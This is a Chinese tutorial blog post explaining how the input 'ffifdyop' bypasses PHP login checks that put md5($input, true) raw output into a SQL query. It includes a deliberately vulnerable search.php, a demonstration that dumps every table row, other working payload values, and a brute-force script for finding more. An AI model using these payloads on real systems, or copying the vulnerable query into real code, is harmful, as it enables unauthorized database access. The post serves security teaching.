MD5 绕过第三式:ffifdyop

news2024/11/25 23:36:20

文章目录

  • 参考
  • 环境
  • 推荐阅读
  • 雾现
      • 两个 PHP 文件
      • 表结构
      • 分析
  • 雾散
      • ASCII 编码
      • 二进制数据到 ASCII 文本的转化
      • 绕过原理
      • ffifdyop
          • 绕过
  • ffifdyop 的批量化生产
      • 批量化生产
      • 注意事项
          • 细节
            • 一字之差
            • 运算符优先级
          • 实际需要遵守的规则
      • 生产机器

参考

项目描述
搜索引擎BingGoogle
AI 大模型文心一言通义千问讯飞星火认知大模型ChatGPT
PHP 手册PHP Manual
MySQL Documentationhttps://dev.mysql.com/doc/
菜鸟教程MySQL 教程
C 语言中文网PHP正则表达式,看这一篇就够了

环境

项目描述
PHP8.0.0
SQL Version8.0.33 MySQL Community Server - GPL

推荐阅读

项目描述
CSDNMD5 绕过第一式:弱比较绕过
CSDNMD5 绕过第二式:数组绕过

雾现

两个 PHP 文件

db_info.php

<?php


// 定义与数据库相关的常量
# 提供运行 MySQL 服务的服务器地址
const HOSTNAME = 'localhost';
# 登录 MySQl 服务器使用的用户名
const USERNAME = 'root';
# 登录用户 root 的密码
const PASSWORD = '123456';
# 连接 MySQL 后需要使用到的数据库
const DATABASE = 'db_test';

search.php

<?php


# 包含文件以获取登录服务器所需要使用到的常量
include_once('./db_info.php');

# 模拟用户输入
$user_input = 'User Input';

# 尝试连接数据库,若连接失败则立即终止程序
$db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();

# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);

# 向 MySQL 获取查询结果
while ($content = mysqli_fetch_assoc($result)) {
    var_dump($content);
}

上述 PHP 代码分别是 db_info.phpsearch.php 文件中的内容。其中,db_info.php 文件保存了通过 PHP 插件 mysqli 连接 MySQL 所需要的信息。而 test.php 则尝试连接 MySQL,并在连接后向 MySQL 发起查询以获取所需要的数据。

表结构

在本示例中,我们使用到的数据库是 db_test,使用到的表是 data

在终端中使用如下语句以获取表 data 的创建信息:

SHOW CREATE TABLE data\G

得到如下内容:

*************************** 1. row ***************************
       Table: data
Create Table: CREATE TABLE `data` (
  `username` varchar(25) DEFAULT NULL,
  `password` varbinary(16) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci
1 row in set (0.00 sec)

由输出可知,data 中包含两个字段,分别为 usernamepasswordusername 使用 varchar(25) 作为其数据类型,这意味着 username 字段至多可以接受 25字符 作为该字段的值。而 password 使用 binary(16) 作为其数据类型,着意味着 password 字段至多可以接收 16 字节的 二进制数据 作为该字段的值。

尝试查询 data 表中的所有数据

在终端中执行如下语句:

SELECT * FROM data;

得到如下结果:

+----------+------------------------------------+
| username | password                           |
+----------+------------------------------------+
| admin    | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
| RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
+----------+------------------------------------+
2 rows in set (0.00 sec)

分析

search.php 文件中,我们的重点是如下代码片段。

# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);

search.php 尝试向 MySQL 发起查询,向 data 表中查询 username 字段为 admin 以及 passwordmd5($user_input, true) 函数的二进制加密结果的行记录。其中,$user_input 变量用于模拟用户的输入。我们的目标便是 通过构造合适的用户输入,使得查询操作能够获取到 data 表中的所有内容

注:

在现代科技的攻势下,MD5 的哈希结果已经能够在 数小时内找到能够产生哈希碰撞的另一原始数据值🧙🏻‍♂️,所以请使用安全系数更高的哈希函数来加密密码吧。

雾散

ASCII 编码

ASCII(American Standard Code for Information Interchange) 是一种字符编码标准,用于 将文本字符映射到数值ASCII 最早🤞在计算机领域中广泛使用,它定义了 128 个不同的字符,包括 控制字符(如换行和回车) 以及 可打印字符(如字母、数字、标点符号等)。ASCII 定义的每个字符都被分配了一个 唯一的整数值,范围从 0127

注:

世界上存在许多的编码方案,但这些方案大多是 基于 ASCII 编码进行扩展的🌹,因此 ASCII 编码也被认为是 字符编码的基础

二进制数据到 ASCII 文本的转化

PHP 中的 md5() 函数在第二个参数为 true 时会将 MD5 哈希结果以二进制数据 的形式进行返回,因 MD5 函数的返回值类型为 字符串,故在返回结果前,二进制数据将使用 ASCII 进行 解码(二进制数据到文本字符的转化)。对此,请参考如下示例:

<?php


var_dump(md5('Hello World', true));

执行效果

其中:

  1. 由四边形包裹的问号
    一个字节能够表示的十进制数的范围为 0~255,而 ASCII 中的字符的编号范围为 0~127,两者的范围不对等。因此,当一个字节所表示的十进制数在 128~255 时,该字节将使用 四边形包裹的问号(不同的环境可能有不同的表现方式) 表示。
  2. ASCII 字符
    字节的 十进制数表示0~127 时,均使用 ASCII 中相应的字符进行表示。
  3. 小而多(容量大,包含几个字符)的方块字
    ASCII 字符中存在一部分 控制字符,这些字符起着控制作用,由于 没有这些字符的具体表现形式,所以使用 表示这些控制字符的英文缩写的方块字 来展现这些字符。
  4. 在上述内容中存在一个换行,这是由于某个字节转化为 ASCII 字符后得到了 可打印字符——换行符所产生的效果。

绕过原理

二进制数据会被转化为 ASCII 字符✨,如果某一个字符串在经过 MD5 哈希后,得到的二进制数据转化为 ASCII 文本后恰能够与周围的文本形成 SQL 注入语句,那么我们就能够绕过限制,成功发起攻击😈。

ffifdyop

在此类绕过实践中,ffifdyop 就是一个得力的工具。对此,请参考如下示例:

<?php


var_dump(md5('ffifdyop', true));

执行效果

string(16) "'or'6�]��!r,��b"

ffifdyop 经过两次转化后得到的结果是 'or'6�]��!r,��b。位于 or 两侧的单引号可以用于闭合两端的单引号,使得 or 不再被 MySQL 认为是字符串,而是一个关键字,发挥着 逻辑或运算符 的作用。

绕过

尝试将 search.php 文件中的 $user_input 赋值为 ffifdyop

<?php


# 包含文件以获取登录服务器所需要使用到的常量
include_once('./db_info.php');

# 模拟用户输入
$user_input = 'ffifdyop';

# 尝试连接数据库,若连接失败则立即终止程序
$db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();

# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 输出构造结果,便于分析
var_dump($qs);
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);


# 向 MySQL 获取查询结果
while ($content = mysqli_fetch_assoc($result)) {
    var_dump($content);
}

执行效果

由于 WHERE 关键字后的条件语句 username = '' and password =''or'6�]��!r,��b' 对于表中的每一个字段都为 true,因此我们成功的实现了 SQL 注入,获得了 data 表中的所有数据。

string(77) "SELECT * FROM data WHERE username = 'admin' and password =''or'6�]��!r,��b';"
array(2) {
  ["username"]=>
  string(5) "admin"
  ["password"]=>
  string(16) "iG���R��&�i,��"
}
array(2) {
  ["username"]=>
  string(8) "RedHeart"
  ["password"]=>
  string(16) "��2�!腺p;<B"
}

ffifdyop 的批量化生产

批量化生产

除了 ffifdyop 外,还存在许多类似的文本。对此,请参考如下示例:

<?php


var_dump(md5(`16529176061`, true));
var_dump(md5(5207660362, true));
var_dump(md5('ffifdyop', true));

执行效果

string(16) "'OR'1q1uMp$��7"
string(16) "@;-V'or'2�9D��"
string(16) "'or'6�]��!r,��b"

要获得更多像 ffifdyop 这样的文本仅需要编写适当的程序。这个程序需要 产生许多文本并在随后对这些文本进行 MD5 哈希及 ASCII 的转化,最后设计从中挑选符合某一规则的文本 即可。至于需要符合的某一规则,可以是包含 ' or ' 的文本👹。

注意事项

细节
一字之差

在继续讲解前,请先观察如下两条 SQL 语句及其查询结果:

mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or '1Hello';
+----------+------------------------------------+
| username | password                           |
+----------+------------------------------------+
| admin    | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
| RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
+----------+------------------------------------+
2 rows in set, 1 warning (0.00 sec)

mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or 'Hello';
Empty set, 1 warning (0.00 sec)

两条 SQL 查询语句 仅仅存在一字之差。使用 '1Hello' 却成功实现了 SQL注入,而使用 'Hello' 却什么也没有获得。

运算符优先级

在 MySQL 中,运算符之间是存在优先级的。在进行运算过程中,运算符优先级更高的运算优先进行。在同时存在 =andor 的运算中,MySQL 将优先处理 =,其次 and,最后 or

username = 'admin' and password = 'Random' or 'Hello'

在上述运算中,username = 'admin'password = 'Random' 将被优先运算,但由于字段与相应字段值均不相符,故两者的运算结果均为 falsefalse and false 的结果也是 false。最后,false or 'Hello' 该如何进行?

false or 'Hello' 中,'Hello' 将被转化为布尔值。依据 MySQL 相关的转化规则,以 非零数值开头的字符串 都将被转化为 true,其他字符串则被转化为 false。于是一字之差决定了成败🧐。

实际需要遵守的规则

因此在 ffifdyop 的批量化生产中,挑选的规则不是只是包含 ' or ' 的文本,而应该是:

包含 ' or ' 的文本,且 第二个引号的右侧的第一个字符需要是数字字符(0 ~ 9)

生产机器

依据 类 ffifdyop 文本 的挑选规则,我们编写了如下 PHP 脚本:

<?php


const MAX_EDGE = 9999999999;

for ($i=0; $i<MAX_EDGE; $i++) {
    if (preg_match("/'\s*or\s*'\d+/i", md5($i, true))) {
        print("\n" . $i . "\n");
    } else {
        # pass
    }
}

在上述文本中,我们尝试通过使用循环变量 $i 作为可能的 ffifdyop 文本。在每一轮循环中,我们都将通过 preg_match() 提供的 正则表达式 来判断 $iMD5 哈希结果值的 ASCII 形式 中是否符合 规定的文本模式,若符合则将其输出至终端中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1053516.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

中国逐年干燥度指数数据集

简介&#xff1a; 中国逐年干燥度指数&#xff0c;空间分辨率为1km&#xff0c;时间为1901-2022&#xff0c;为比值&#xff0c;没有单位。该数据集是基于中国1km逐月潜在蒸散发&#xff08;PET&#xff09;和降水量&#xff08;PRE&#xff09;采用比值法计算式得到&#xff…

C#,数值计算——Ranhash的计算方法与源程序

1 文本格式 using System; namespace Legalsoft.Truffer { /// <summary> /// High-quality random hash of an integer into several numeric types. /// </summary> public class Ranhash { public Ranhash() { }…

Qt扩展-QCustomPlot 用户交互

QCustomPlot 用户交互 一、概述二、操作范围三、选择机制1. 控制Graph的可选择性和选择状态2. 所选对象的外观3. 多部分对象4. 对选择变化做出反应 四、用户交互信号 一、概述 QCustomPlot提供了多个内置的用户交互。它们大致可以分为 通过用鼠标拖动和滚动鼠标滚轮进行范围操…

Vue控制textarea可输入行数限制-案例

控制只能输入六行内容 UI部分代码 //我使用了antd ui库 <a-form-model-item ref"address_group" label"规则描述" prop"address_group" > <a-textarea:rows"6"style"width: 60%"placeholder"一次最多输入6行…

BUUCTF reverse wp 71 - 75

[NPUCTF2020]你好sao啊 int __cdecl main(int argc, const char **argv, const char **envp) {__int64 v3; // rax__int64 v4; // rdx__int64 v5; // raxsize_t v6; // rax__int64 v7; // rax__int64 v8; // rdx__int64 v9; // rax__int64 v11; // rdx__int64 v12; // raxchar …

AOP:分页参数统一校验

需求说明 为了保证系统的安全性&#xff0c;需要对所有的 查询列表 接口&#xff0c;添加分页参数&#xff0c;并对分页参数进行校验&#xff0c; &#xff0c;保证参数的合法性。 比如&#xff0c; pageSize&#xff08;每页显示条数&#xff09;&#xff0c;如果不做校验&a…

基于Java的个人博客文章管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

传统安防音视频平台架构

内部级联,为上下级均为自己平台海康子进程调用海康的设备SDKPTPCS通过封装代理不同的私有协议的差异,封装为大华统一的三代协议PC客户端通过调用平台SDKCMS一般采用双机热备技术PTPCS系统一般采用Windows嵌入式,由于部分设备厂家提供的SDK只有Windows的服务和服务之间的调用通过…

爱创科技携手源石酒庄,助力酒企走出窜货售假“沼泽”

在中国&#xff0c;一场关于美酒生活的消费革命正默默兴起。随着人们生活品质的不断提升&#xff0c;越来越多的消费者开始追求个性化、健康和美好的饮酒体验&#xff0c;消费升级正推动着酒行业整体逐步“迭代进化”。作为国内最早开始葡萄酒产业工业化发展的地区之一&#xf…

BUUCTF reverse wp 56 - 60

[ACTF新生赛2020]SoulLike __int64 __fastcall main(int a1, char **a2, char **a3) {char v5; // [rsp7h] [rbp-B9h]int i; // [rsp8h] [rbp-B8h]int j; // [rspCh] [rbp-B4h]int flag_content[14]; // [rsp10h] [rbp-B0h] BYREFchar flag[110]; // [rsp4Ah] [rbp-76h] BYREFu…

网络协议--概述

1.2 分层 网络协议通常分不同层次进行开发&#xff0c;每一层分别负责不同的通信功能。一个协议族&#xff0c;比如TCP/IP&#xff0c;是一组不同层次上的多个协议的组合。 TCP/IP通常被认为是一个四层协议系统&#xff0c;如图1-1所示。每一层负责不同的功能&#xff1a; 1.链…

从零手搓一个【消息队列】实现消息在文件中的存储

文章目录 一、序列化 / 反序列化二、文件存储设计1, 队列目录2, 消息数据文件3, 消息统计文件 三、硬盘管理 -- 文件1, 创建 MessageFileManager 类2, createQueueFiles() 创建目录/文件3, deleteFiles() 删除目录/文件4, checkFileExists() 检查目录/文件是否存在5, readStat(…

MonkeyRunner自动化测试

一&#xff1a;简介 MonkeyRunner提供了一个API&#xff0c;使用此API写出的程序可以在Android代码之外控制Android设备和模拟器。通过monkeyrunner&#xff0c;您可以写出一个Python程序去安装一个Android应用程序或测试包&#xff0c;运行它&#xff0c;向它发送模拟击键&…

单目标应用:基于狐猴优化算法(Lemurs Optimizer,LO)的微电网优化调度MATLAB

一、狐猴优化算法 狐猴优化算法&#xff08;Lemurs Optimizer&#xff0c;LO&#xff09;由Ammar Kamal Abasi等人于2022年提出&#xff0c;该算法模拟狐猴的跳跃和跳舞行为&#xff0c;具有结构简单&#xff0c;思路新颖&#xff0c;搜索速度快等优势。 狐猴头体长约为30-45…

【通意千问】大模型GitHub开源工程学习笔记(2)--使用Qwen进行推理的示例代码解析,及transformers的库使用

使用Transformers来使用模型 如希望使用Qwen-chat进行推理,所需要写的只是如下所示的数行代码。请确保你使用的是最新代码,并指定正确的模型名称和路径,如Qwen/Qwen-7B-Chat和Qwen/Qwen-14B-Chat 这里给出了一段代码 from transformers import AutoModelForCausalLM, Aut…

Promise击鼓传花

Promise击鼓传花 Promise系列导航前言一、Promise.prototype.then()1.语法2.代码及说明&#xff08;1&#xff09;代码段&#xff1a;&#xff08;2&#xff09;代码段&#xff1a;&#xff08;3&#xff09;代码段&#xff1a;&#xff08;4&#xff09;代码段&#xff1a;&am…

select完成服务器并发

服务器 #include <myhead.h>#define PORT 4399 //端口号 #define IP "192.168.0.191"//IP地址//键盘输入事件 int keybord_events(fd_set readfds); //客户端交互事件 int cliRcvSnd_events(int , struct sockaddr_in*, fd_set *, int *); //客户端连接事件 …

cloudCompare教程:一、可视化、点、线编辑

依据高度等准则(都在Scalar Fields中)渲染点云&#xff08;首先要打开Tools -> Projection -> Export coordinate to SF&#xff09; 在上述准则之外的&#xff0c;设置为不显示&#xff1a; 软件的显示设置&#xff08;首先打开右边的彩色柱状图&#xff0c;点击左边属性…

Qt::工程框架-工具栏停靠|悬浮-QDockWidget

二维矢量动画智能制作软件开发合集 链接&#xff1a;软件开发技术分享及记录合集 个人开发二维矢量动画智能制作软件界面如下&#xff1a; ​目录 一、界面停靠原理 二、界面停靠代码实现 三、界面停靠软件测试视频 结束语 一、工具栏停靠|悬浮原理 本软件的窗口设置如下…

2023年中国肠胃炎用药行业现状分析:随着老龄化进程明显加速,市场规模同比增长7%[图]

急性肠胃炎是一种因为饮食不当而引起的消化系统疾病&#xff0c;通常是因为摄入了含有病原菌的变质食物&#xff0c;或者过量食用刺激性食物&#xff0c;从而导致肠胃道黏膜发生急性炎症反应&#xff1b;慢性肠胃炎是一种长期存在症状并持续引发胃黏膜和肠黏膜发生慢性炎症反应…